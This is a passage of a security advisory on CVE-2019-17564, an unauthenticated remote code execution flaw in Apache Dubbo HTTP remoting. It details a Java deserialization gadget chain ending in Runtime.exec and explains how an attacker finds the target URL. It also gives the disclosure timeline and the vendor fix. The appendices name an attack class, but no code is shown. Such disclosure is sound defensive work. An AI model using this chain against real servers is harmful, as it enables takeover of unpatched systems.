• springframework.remoting.httpinvoker.HttpInvokerServiceExporter – this is the deserialization entry point, deserializing the request body. Deserialization of HashMaps, and Java Collections in general, invokes their value insertion methods. In this case, this will invoke HashMap.putVal(h,k,v).
• A HashMap of two org.springframework.aop.target.HotSwappableTargetSource objects, one containing a JSONObject as a target, and another containing a com.sun.org.apache.xpath.internal.objects.XString object as a target
  • HotSwappableTargetSource objects always return the same hashcode (class.hashCode()), which forces the HashMap.putVal(h,k,v) into running deeper equality checks on HashMap keys, trigger equals() on its contents – the two HotSwappableTargetSource member objects
  • HotSwappableTargetSource equality checks validate if the target objects inside HotSwappableTargetSource are equal; in this case – an XString and a JSONObject
  • The XString.equals(object) triggers a call equivalent to this.toString().equals(object.toString()) call, which would trigger JSONObject.toString()
• JSONObject – org.apache.dubbo.common.json.JSONObject, which is a deprecated class within Dubbo, is used to handle JSON data. If a JSONObject.toString() is invoked, the super method JSON.toJSONString() will be invoked
  • A toJSONString() call will attempt to serialize the object into JSON using JSONSerializer, which invokes a serializer. This serializer is generated using the ASMSerializerFactory. This factory attempts to serialize all getter methods in objects stored inside JSONObject.
• TemplatesImpl partial gadget – this known gadget is utilized by many gadget chains in ysoserial and marshalsec. This partial gadget generates a malicious com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl object. If this object’s newTransformer() method is invoked, the chain will execute java.lang.Runtime.getRuntime().exec(command)
  • Since JSONObject.toJSONString attempts to serialize all getter methods, the method TemplatesImpl.getOutputProperties() is also invoked
  • Internally, TemplatesImpl.getOutputProperties() method invokes newTransformer() to get the properties from a generated transformer

Figure 3 – Exploit Bytecode
Once newTransformer is invoked, a flow is complete between deserialization at HttpInvokerServiceExporter.doReadRemoteInvocation(ObjectInputStream ois) and java.lang.Runtime.getRuntime().exec(command), thus enabling remote code execution.
The final gadget chain’s structure is:

Once the vulnerability is triggered, and malicious code is executed (and, in the PoC, an instance of calc.exe pops on the server), an exception will be thrown. However, the application will continue to function as intended otherwise, resulting in stable exploitation for the given gadget chain.

Figure 4 – PoC Outcome

Why Is This Happening?

Apache Dubbo using HTTP remoting occurs when a Dubbo application is created using the HTTP protocol over the Spring framework. A combination of a known-vulnerable class in Spring being invoked naively by Dubbo deserializes user input using the extremely vulnerable (and nigh indefensible) ObjectInputStream. An attacker may provide a payload which, when deserialized, will trigger a cascade of objects and method invocations which, given a vulnerable gadget chain in deserialization scope, may result in Remote Code Execution, as will be demonstrated in this POC.
The vulnerable Spring Remoting class is HttpInvokerServiceExporter. From the Spring documentation:
“WARNING: Be aware of vulnerabilities due to unsafe Java deserialization: Manipulated input streams could lead to unwanted code execution on the server during the deserialization step. As a consequence, do not expose HTTP invoker endpoints to untrusted clients but rather just between your own services. In general, we strongly recommend any other message format (e.g. JSON) instead.”
This is exactly what happens with Dubbo HTTP Remoting. By using the Dubbo HTTP remoting module, an HTTP endpoint is exposed that receives an HTTP request of the following structure:

• A POST request
  • Whose URL refers to the packagename.classname for the bean exposed by the provider, which is wired by Dubbo to the actual package and class
  • Whose body is a stream of an object, as serialized by ObjectOutputStream

The HttpProtocol handler parses the incoming org.apache.dubbo.rpc.protocol.http.HttpRemoteInvocation object using the HttpInvokerServiceExporter, which, internally, utilizes ObjectInputStream to deserialize it. HttpRemoteInvocation contains an invocation call to a certain method, and the arguments to pass to this method. However, with ObjectInputStream, any arbitrary serialized Java object can be passed, which would then be deserialized in an insecure manner, resulting in unsafe deserialization.
ObjectInputStream, on its own without any external classes, is vulnerable to memory exhaustion and heap overflow attacks, when it is used to deserialize malformed nested objects.
If an ObjectInputStream deserializable gadget chain is available within code scope that allows code or command execution, an attacker can exploit this to craft an object that results in Remote Code Execution. Such a gadget chain was found and exploited.

Tainted Code Flow

Within the Dubbo HTTP service, the following occurs:

1. JavaX HttpServlet is invoked with user input
2. This input is passed to the Dubbo remoting dispatcher, DispatcherServlet, which uses an HttpHandler, an internal class in HttpProtocol, to handle the request and return a response
3. InternalHandler.handle() creates the insecure HttpInvokerServiceExporter in line 210 and invokes it on the request in line 216
4. From there, internal calls in HttpInvokerServiceExporter finally pass the request stream into an ObjectInputStream in line 115, which is then internally read by the handler’s superclass RemoteInvocationSerializingExporter in line 144.
5. The gadget chain is then triggered by the ObjectInputStream readObject operation

Required Prior Knowledge for Exploitation

The only piece of knowledge required to exploit an open HTTP port to a Dubbo HTTP Remoting service is the name of a Remote Invocation interface’s package and class. This information is used to craft the URL to which a serialized malicious object must be submitted, which is standard Spring bean behavior. For example, if the remoted interface’s package is named “org.apache.dubbo.demo” and the interface being remoted is named “DemoService”, an attacker needs to POST an object serialized by ObjectOutputStream to the URL “https://domain:port/org.apache.dubbo.demo.DemoService”. This information can be obtained with various methods:

• Querying a Zookeeper for available beans, if Dubbo uses a Zookeeper as a registry
• Observing HTTP traffic via Man-in-the-Middle attacks
• Spoofing is also likely to be possible if Dubbo uses a multicast to find services (this was not tested)
• Other means, such as logging services

No additional information is required to perform the attack.
It should be noted that URL paths are generally not considered confidential information, and hiding a vulnerable web service behind an allegedly unknowable URL path would constitute security through obscurity.

Summary of Disclosure and Timeline

When the vulnerability was first discovered, the Checkmarx research team ensured that they could reproduce the process of easily exploiting it. Once that was confirmed, the research team responsibly notified Apache of their findings.

Disclosure Timeline

• 13/8/2019 – Checkmarx provides full disclosure to security@apache.org, issue forwarded to security@dubbo.apache.org
• 6/9/2019 – Acknowledgement by Apache, Dubbo team that issue is clear
• 4/10/2019 – Dubbo team responds regarding technical specifics of intended fix. Checkmarx responds by further explaining the issue – this is the first and last time technical issues are brought up by anyone at Apache in the context of this disclosure
• 24/11/2019 – Reminder sent after 90 days had elapsed and publication is imminent with no action on Apache’s part
• 3/12/2019 – Apache had requested more time to re-evaluate this issue prior to Checkmarx report publishing. This request was granted, with Apache confirming two days later that a CVE will be issued and a proper fix will be released
• 11/2/2020 – CVE-2019-17564 disclosed via dev@dubbo.apache.org mailing list, six months (180 days) after original disclosure
• 12/2/2020 – first POC emerges in the wild, but it does not contain the new gadget chain disclosed in this article

Package Versions

org.apache.dubbo.dubbo – 2.7.3
org.apache.dubbo.dubbo-remoting-http – 2.7.3
org.springframework.spring-web – 5.1.9.RELEASE

Vendor Mitigation

The Apache Dubbo team has resolved this issue by updating FastJSON, which contains the latest version of JSONObject, to its latest version in the project dependencies. This effectively breaks the current chain. They have also replaced the deserialization mechanism used by the HTTP protocol, altering the communication protocol, ensuring this specific exploit will not work.

Conclusions

The Dubbo HTTP Remoting service is vulnerable to unauthenticated Remote Code Execution, with virtually no prior knowledge required, other than a URL, for successful exploitation.
The root cause of this issue is the usage of an unsafe Spring class, HttpInvokerServiceExporter, for binding an HTTP service to. This class utilizes a standard Java ObjectStream with no security mechanisms in the form of a class whitelist, which in turn means deserialization allows invocation of arbitrary classes whose deserialization process may trigger malicious code. Use of this class should be discontinued, and replaced with a robust solution that whitelists expected classes in Dubbo HTTP beans.
This type of research activity is part of the Checkmarx Security Research Team’s ongoing efforts to drive the necessary changes in software security practices among all organizations in an effort to improve security for everyone overall.

Appendix 1

Appendix 1A: DubboGadget Class

A class for attacking a Dubbo HTTP instance

Appendix 1B: Utils Class

Utility class, which includes utility methods, was used in the creation of certain parts of the malicious gadget chain and exposing certain functionality by streamlining reflections. It is derived largely from auxiliary classes and comfort methods in ysoserial by Chris Frohoff – https://github.com/frohoff/ysoserial. Additionally, the makeXStringToStringTrigger is derived from prior research by Moritz Bechler, demonstrated in https://github.com/mbechler/marshalsec

Appendix 1C: pom.xml File for DubboGadget

Maven dependencies for DubboGadget